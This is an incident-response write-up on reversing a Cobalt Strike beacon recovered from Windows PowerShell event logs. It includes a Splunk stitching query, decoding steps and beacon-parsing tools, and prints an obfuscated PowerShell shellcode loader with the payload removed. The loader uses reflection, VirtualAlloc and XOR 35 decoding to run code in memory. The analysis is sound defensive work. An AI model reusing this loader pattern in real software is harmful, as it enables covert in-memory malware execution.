CobaltStrike Beacon Reversing
Logs containing obfuscated Powershell commands
While conducting Incident Response (IR) on a customers site, one of our analysts spotted some suspicious Powershell execution in the Windows Event Logs. The Powershell commands were encoded in Base64 and warranted additional investigation.
Unfortunately, the ofuscated Powershell command(s) appears to be split across a number of Windows Event Logs. From experience (depend on the size of the payload), typically CobaltStrike payloads can stretch across 18-28 sequential Windows Event Logs.
Stitching Event Log records together with Splunk
After been given the initial splunk search from our analyst, we modified the search query to capture the multiple records into a single suspicious powershell script, enough to copy and paste out of the Splunk console and to start reversing the obfuscated Powershell:
index=win* host="redacted" suspicious_script.ps1
| spath output=ScriptBlockText path=Event.EventData.Data{3}
| reverse| stats list(*) as *| table ScriptBlockTextOutput
Captured Powershell Script
Note: truncated and shellcode removed.
Set-StrictMode -Version 2; function func_gpa{Param ($var_module, $var_procedure);
$var_unm = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('Sy'+'st'+'em.'+'dll') }).GetType('Micr'+'osof'+'t.Wi'+'n32.Un'+'safeN'+'ativeMethods');
$s = 'S'+'yst'+'em.R'+'untim'+'e.In'+'teropSe'+'rvices.Ha'+'ndl'+'eRef';$var_gpa = $var_unm.GetMethod('G'+'et'+'Pr'+'ocAdd'+'ress', [Type[]] ($s, 'string'));
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr),($var_unm.GetMethod('GetM'+'odul'+'eHandle')).Invoke($null, @($var_module)))), $var_procedure))};
function func_gdt {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,[Parameter(Position = 1)]
[Type] $var_return_type = [Void]);
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object -TypeName ("Sys" +"tem.R" + "efle" +"ction.Asse" + "mblyName") -ArgumentList ('Refle'+'ctedD'+'elegate')),
[System.Type]::GetType("Sy"+"stem.Ref"+"lect"+"ion.E"+"mit."+"Assem"+"blyBui"+"lderAccess")::Run).DefineDynamicModule('InM'+'emor'+'yMo'+'dule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$var_type_builder.DefineConstructor('RTS'+'peci'+'alName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed');
$var_type_builder.DefineMethod('I'+'nvoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runt'+'ime, Ma'+'naged');return $var_type_builder.CreateType();};
If ([IntPtr]::size-eq 4) {
[Byte[]]$var_c = [System.Convert]::FromBase64String(‘**encoded_shellcode**’); );
$a = "ke"+"rne"+"l32."+"dll";$b = "Vi"+"rt"+"ualAl"+"loc";
for ($l = 0; $l -lt $var_c.Count; $l++) {
$var_c[$l] = $var_c[$l] -bxor 35;
};
[Byte[]]$func_gmh = [BitConverter]::GetBytes((func_gpa $a GetModuleHandleA).ToInt32());[Byte[]]$func_gpa2 = [BitConverter]::GetBytes((func_gpa $a GetProcAddress).ToInt32());[Array]::Copy($func_gmh, 0, $var_c, 31813, $func_gmh.Length);[Array]::Copy($func_gpa2, 0, $var_c, 31820, $func_gpa2.Length);
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_gpa $a $b ), (func_gdt @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr])));$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_c.Length, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($var_c, 0, $var_buffer,
$var_c.length);
$var_r = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_gdt @([IntPtr]) ([Void])));
$var_r.Invoke([IntPtr]::Zero);
}
You can use CyberChef’s Code Beautify module to make the code easier to read.
The initial Powershell is a method for injecting DLLs into memory and executing them
The following Powershell is a decoding method used to recover the obfuscated shellcode:
- Base64 decode the encoded string
- XOR with the decimal value 35
Again, you can use Cyberchef and the base64 decode and XOR modules to decode the obfuscated powershell into shellcode. Just remember due to Powershell the XOR is decimal not binary!
Testing the Shellcode
There are many options to decode the shellcode
-
Use the Windows Sandbox and scdbg.exe as per the instructions here. Unfortunately, this method failed for us due to unknown apis?
-
Use a Python sandbox and Fireeye’s Speakeasy Speakeasy github Link – for our shellcode analysis again this was inconclusive as the shellcode tried to operate an unknown api call and eventually crashed.
-
Executing on a sandbox platform e.g. cuckoo, or a public sandbox such as JoesSandbox or any.run – Public sandbox analysis not performed on behalf of the client.
Cobalt Strike Beacon Parser
Knowing the obvious (the Powershell decoding method and shellcode very similar to Metasploits Meterpreter, and from working with previous samples). We know with a high degree of confidence the payload is a Cobalt Strike payload.
Cobalt Strike keeps a copy of the beacon configuration in the .data section of the PE/DLL, this can be extracted with an open-source tool from SentinelOne http://github.com/Sentinel-One/CobaltStrikeParser
Simply execute against the decoded payload
python ./parse_beacon_config.py ../powershell.dat
Beacons configuration
CobaltStrike beacons can be configured in a number of different methods, the most popular using HTTP. But you may see one of the following from this list:
- HTTP(S)
- DNS
- SMB
Depending on the configuration you will need to turn your investigation to additional logs to capture the C2 traffic.
- Web Proxy Logs
- DNS logs & Sysmon Event ID 22
- SMB & Named Pipe Logs, Sysmon Event ID 17 & 18
Conclusion
We have demonstrated how to extract Powershell scripts that span multiple records in the Windows Event Log, and how to decode ofuscated Powershell to reveal a CobaltStrike beacon. We then demonstrated the use of open-source and publically available tools that can help in reversing and identifying further actions of the obfuscated and malicious shellcode.
We recommend you read the other walkthroughs in our references section below. In-order to gain a further understanding on CobaltStrike payloads, and performing techncial actions such as: reversing and incident response on further uncover additional malicious actions and/or binaries.
References
- SentinelOne - Anatomy fo CobaltStrike Beacons
- Fireeye - Emulation of shellcode with speakeasy
- Sekoia - Hunting and detecting cobaltstrike
- SANs - Analyzing Encoded Shellcode with scdbg
- Awesome-CobaltStrike-Defence
Share on: